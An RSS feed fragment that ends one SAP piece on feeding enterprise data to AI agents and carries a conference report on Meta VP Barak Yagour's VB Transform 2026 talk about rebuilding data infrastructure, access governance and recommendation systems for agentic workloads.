<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['We have maybe 20 months' to rebuild for AI agents, Meta's infrastructure VP tells VB Transform 2026]]></title>
<description><![CDATA[Organizations need to transform to meet the needs of agentic AI.Meta VP of Engineering Barak Yagour opened his talk at VB Transform 2026 wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infra...]]></description>
<link>https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</guid>
<pubDate>Wed, 15 Jul 2026 17:33:05 +0200</pubDate>
<content:encoded><![CDATA[<p>Organizations need to transform to meet the needs of agentic AI.</p><p>Meta VP of Engineering Barak Yagour opened his talk at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a> wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infrastructure was built for humans, not for agents, and it's starting to show.</p><p>Yagour, who leads its data infrastructure organization, told the audience that agentic queries hitting Meta's data systems grew 30x in a single half, an inversion that he said is breaking assumptions the company spent two decades building around.</p><p>The shift is not confined to Meta. Automated traffic overtook human traffic on the internet last year, reaching 51% of the total, according to <a href="https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report/">Imperva's 2025 Bad Bot Report</a>. That traffic is also growing roughly eight times faster than human traffic, according to <a href="https://www.humansecurity.com/2026-state-of-ai-traffic-cyberthreat-benchmark-report/">HUMAN Security's 2026 State of AI Traffic report</a>. Yagour cited both figures to describe what he called an inflection point already underway inside his own organization.</p><p>Yagour framed the shift as an open question for infrastructure teams everywhere. "What happens to the infrastructure we've spent years building when agents and not humans become the main consumers of that," Yagour said. "That's the world we're stepping into."</p><h2>Capacity, identity and velocity are breaking at once</h2><p>Yagour said three assumptions are breaking simultaneously inside Meta's infrastructure: capacity, identity and velocity.</p><p>On capacity, the math no longer works the way engineering teams are used to. "One engineer used to mean one unit of load," he said. "Now one engineer spawns 10 agents, each spawning subagents. Your 1,000-person org can generate the load of 100,000 users practically overnight."</p><p>His answer is not to block agent traffic but to make infrastructure agent-aware, with dynamic controls that understand agent hierarchies, cost attribution that traces consumption back to the use case that spawned it, and throttling that adapts based on priority.</p><p>Identity is breaking, too. Yagour said an agent does not fit the categories infrastructure teams built access controls around. It is not a human user, it does not carry a badge and it is not a deployed service, yet it makes decisions on its own.</p><p>Velocity is the third assumption under strain. Yagour cited a company-reported figure that GitHub Copilot writes 46% of the average user's code, then noted that faster code generation does not make the rest of the pipeline faster.</p><p>"That code still needs to be built, tested, deployed, monitored," he said. "The agent writes the code in seconds, but your CI/CD pipeline doesn't get faster just because the machine is the author."</p><h2>Trusted data environments keep agents inside guardrails</h2><p>Data is where Yagour said the pressure from agents is most direct. </p><p>"Data sits at the center of everything," he said, pointing to the decisions, products, recommender systems and next generation models it drives.</p><p>Meta is also rethinking how much autonomy to grant agents inside its own data systems. In February, the company shipped what Yagour called agentic data apps. Within three months, 63% of dashboards published across Meta were built using the new tooling, part of the same 30x rise in agentic queries Yagour cited earlier.</p><p>That growth raises a governance question. Human analysts have traditionally sat between raw data and business decisions, curating it and serving as an informal check on quality. Yagour said Meta wants to grant agents more independence on harder problems, but was direct about the risk. </p><p>"Autonomy without governance is nothing but chaos," he said. That's why the company built what it calls trusted data environments, to preserve the human check as agents take on more of that work.</p><p>"Inside, the agent can explore data freely, but every output is traced back to its source and scrutinized. So you always know that the data shared back is trusted and governed," Yagour said.</p><p>Sensitive fields are masked before an agent can reach them, and every access request is evaluated in real time against what the agent is trying to reach, why and whether it is allowed. Yagour summarized the approach as exploring broadly while releasing narrowly.</p><h2>Reasoning models are rewriting the data layer</h2><p>Meta's models are also demanding more from data as they shift from correlation to reasoning. </p><p>"Reasoning is data hungry," Yagour said. </p><p>Pattern matching works on sparse, summarized signals. Reasoning demands the full behavioral history, every interaction across every surface over time. Yagour pointed to two shifts already underway inside Meta's infrastructure to keep up.</p><p><b>Real-time streaming is replacing batch ETL for ranking pipelines.</b> A pipeline that takes 24 hours to run is not viable when a model is reasoning about a user's current intent. Yagour said real-time streaming, not batch extract-transform-load processing, is becoming the backbone of Meta's ranking and recommendation systems.</p><p><b>Storage is becoming schema-aware to stop GPU starvation.</b> Meta previously stored user data as opaque blobs with no awareness of what the data contained, which Yagour said led to heavy overfetching and idle GPU capacity. The company is now building storage that understands what it holds, pulling only the columns and time ranges a given query needs. Yagour said Meta is building toward 500 million queries per second and a petabyte per second of throughput for training data reads.</p><p>That data feeds directly into how Meta's recommendation systems behave. Yagour said 42% of Instagram users have told the company they want to fundamentally change the algorithm, not adjust a single session or setting. Meta's response is what Yagour called fully conversational recommendations, where a user tells the system what they want more of and it reasons about intent rather than matching on keywords. Yagour said the same search term, soccer, would return different results for a casual fan looking for highlights than for a club athlete seeking training drills, because the system would reason about which one is asking.</p><p>Yagour described the three threads of his talk, agents, data and recommendations, as reinforcing each other rather than moving independently. </p><p>"Agents make data more accessible. Better data makes reasoning. Reasoning creates new demands that push agents and infrastructure forward," he said. "This isn't linear; it's a flywheel."</p><p>During the Q&amp;A, an audience member asked whether Meta's push toward more intelligent infrastructure signals the end of traditional file systems in favor of newer neural storage approaches, and whether agents will keep using SQL as their interface to data the way humans do. Yagour said Meta is experimenting at every level, including questioning whether SQL is the right interface for agents at all, and that storage at Meta's scale already operates in the multi-digit exabyte range and needs to keep expanding.</p><p>Yagour closed his talk with the timeline he believes the industry is working against. "We spent 20 years building infrastructure for humans. We have maybe 20 months to rebuild the whole thing for a world where humans and agents co-create at scale," Yagour said. "The window is open, but it won't stay open for long."</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,51ms -->